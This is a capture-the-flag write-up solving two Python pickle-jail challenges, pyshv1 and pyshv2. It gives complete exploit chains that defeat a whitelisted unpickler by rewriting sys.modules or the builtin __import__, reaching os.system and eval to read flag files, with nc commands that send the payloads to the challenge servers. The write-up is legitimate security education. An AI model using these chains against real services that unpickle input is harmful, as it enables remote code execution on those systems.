Tags: pickle pyjail 

Rating: 4.0

# pyshv1 (572)

The challenge contains two modules:

```python
# File: securePickle.py

import pickle, io

whitelist = []

# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module not in whitelist or '.' in name:
raise KeyError('The pickle is spoilt :(')
return pickle.Unpickler.find_class(self, module, name)

def loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()

dumps = pickle.dumps
```

```python
# File: server.py

import securePickle as pickle
import codecs

pickle.whitelist.append('sys')

class Pysh(object):
def __init__(self):
self.login()
self.cmds = {}

def login(self):
user = input().encode('ascii')
user = codecs.decode(user, 'base64')
user = pickle.loads(user)
raise NotImplementedError("Not Implemented QAQ")

def run(self):
while True:
req = input('$ ')
func = self.cmds.get(req, None)
if func is None:
print('pysh: ' + req + ': command not found')
else:
func()

if __name__ == '__main__':
pysh = Pysh()
pysh.run()
```

We can provide a pickled string, and the unpickling is restricted to objects in the `sys` module. I restrained from writing pickle bytecode by hand and used only the `__reduce__` API. The only small hack is to create arbitrary named attributes to be pickled, for example `sys.__dict__`. I wrote this snippet to help with it:

```python
import pickle, sys

class FakeMod(type(sys)):
modules = {}

def __init__(self, name):
self.d = {}
super().__init__(name)

def __getattribute__(self, name):
d = self()
return d[name]

def __call__(self):
return object.__getattribute__(self, "d")

def attr(s):
mod, name = s.split(".")
if mod not in FakeMod.modules:
FakeMod.modules[mod] = FakeMod(mod)
d = FakeMod.modules[mod]()
if name not in d:
def f(): pass
f.__module__ = mod
f.__qualname__ = name
f.__name__ = name
d[name] = f
return d[name]

def dumps(obj):
# use python version of dumps
# which is easier to hack
pickle.dumps = pickle._dumps
orig = sys.modules
sys.modules = FakeMod.modules
s = pickle.dumps(obj)
sys.modules = orig
return s

a = attr("sys.__dict__")
print(dumps(a))
# b'\x80\x03csys\n__dict__\nq\x00.'
```

Pickle uses `__reduce__` method of objects with a special interface. It allows to call a function (which has to be picklable, i.e. be the part of the module) with arbitrary (picklable) arguments. Finally, it allows to update the `__dict__` of the output of the function, `.append()` objects to it and set items on it. The following snippet simplifies this API into a single function call:

```python
def craft(func, *args, dict=None, list=None, items=None):
class X:
def __reduce__(self):
tup = func, tuple(args)
if dict or list or items:
tup += dict, list, items
return tup
return X()
```
Now we can, for example, easily dump `sys.__dict__` from the server:

```python
obj = craft(attr("sys.displayhook"), attr("sys.__dict__"))
```

```
{'__name__': 'sys', '__doc__': ..., 'argv': ['/home/pyshv1/task/server.py']}
```

## pyshv1 solution
Let's look at the `Unpickler.find_class` method:
```python
def find_class(self, module, name):
...
__import__(module, level=0)
if self.proto >= 4:
return _getattribute(sys.modules[module], name)[0]
else:
return getattr(sys.modules[module], name)
```

So, pickle relies on the `sys.modules` mapping! Let us replace this attribute with our own dict so that we can access attributes of objects other than the actual sys module. In particular, we want to access modules in the mapping, so we elegantly set `sys.modules[sys] = sys.modules`:

```python
c1 = craft(
attr("sys.__setattr__"),
"modules", {"sys": sysattr("modules")}
)
```

We can now update module dicts using the `__reduce__` dict API, in particular the whitelist:
```python
c2 = craft(attr("sys.__getitem__"), "securePickle", dict={"whitelist": ["sys", "os"]})
```

Now we can actually call e.g. the `os.system`:
```python
c3 = craft(attr("os.system"), "id; cat ../flag.txt")
```

Assembling the full chain:
```python
c1 = craft(
attr("sys.__setattr__"),
"modules", {"sys": sysattr("modules")}
)
c2 = craft(attr("sys.__getitem__"), "securePickle", dict={"whitelist": ["sys", "os"]})
c3 = craft(attr("os.system"), "id; cat ../flag.txt")
obj = craft(attr("sys.displayhook"), (c1, c2, c3))

s = dumps(obj)
s = codecs.encode(s, "base64").replace(b"\n", b"")
open("inp", "wb").write(s)
os.system("(cat inp; echo) | nc -v pysh1.balsnctf.com 5421")
```

```
uid=1000(pyshv1) gid=1000(pyshv1) groups=1000(pyshv1)
Balsn{p1Ck1iNg_s0m3_PiCklEs}
```

# pyshv2 (857)
In the second challenge the restricted pickle is a bit different. Not it calls the `__import__` function:
```python
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module not in whitelist or '.' in name:
raise KeyError('The pickle is spoilt :(')
module = __import__(module)
return getattr(module, name)
```

Second, only an *empty* module `structs` is added to the whitelist (*how this can be insecure???*):
```python
pickle.whitelist.append('structs')
```

The rest is basically the same. In this challenge we have much less tools compared to the rich `sys` module. However, there is `structs.__builtins__` which is the same global `__builtins__` module. In particular, the change from **pyshv1** is the use of the `__import__` function, which we can replace in `__builtins__`. The idea is somewhat similar to the one with `sys.modules`: the goal is to access attributes of objects other than the original module. For achieving this, we replace `__import__` with `structs.__getatttribute__`. As a result, `__import__("structs").attr` becomes `structs.structs.attr`. We set the `structs.structs` to `structs.__dict__`: this allows us to call dict methods:
```py
c1 = craft(attr("structs.__setattr__"), "structs", attr("structs.__dict__"))
c2 = craft(
attr("structs.__getattribute__"),
"__builtins__",
items=[("__import__", attr("structs.__getattribute__"))]
)
```
Let's populate the dict with builtins:
```py
bs = craft(attr("structs.get"), "__builtins__")
c3 = craft(attr("structs.update"), bs)
```

We can now replace `structs.structs` to the eval function:
```py
ev = craft(attr("structs.get"), "eval")
c4 = craft(attr("structs.__setitem__"), "structs", ev)
```

Finally, we call eval and assemble the whole chain:
```py
c1 = craft(attr("structs.__setattr__"), "structs", attr("structs.__dict__"))
c2 = craft(
attr("structs.__getattribute__"),
"__builtins__",
items=[("__import__", attr("structs.__getattribute__"))]
)
bs = craft(attr("structs.get"), "__builtins__")
c3 = craft(attr("structs.update"), bs)
ev = craft(attr("structs.get"), "eval")
c4 = craft(attr("structs.__setitem__"), "structs", ev)
c5 = craft(attr("structs.__call__"), r'print(open("../flag.txt").read())')

obj = craft(attr("structs.__setattr__"), "code", [c1, c2, c3, c4, c5])
s = dumps(obj)
s = codecs.encode(s, "base64").replace(b"\n", b"")
open("inp", "wb").write(s)
os.system("(cat inp; echo) | nc -v pysh2.balsnctf.com 5422")
```

```
Balsn{CD_sP33duP_eVe3y7h1nG__Wh0_c4r3s_Th3_c0dE?}

Original writeup (https://gist.github.com/hellman/b9804ce39ed8c4b1b0bf136459999a61).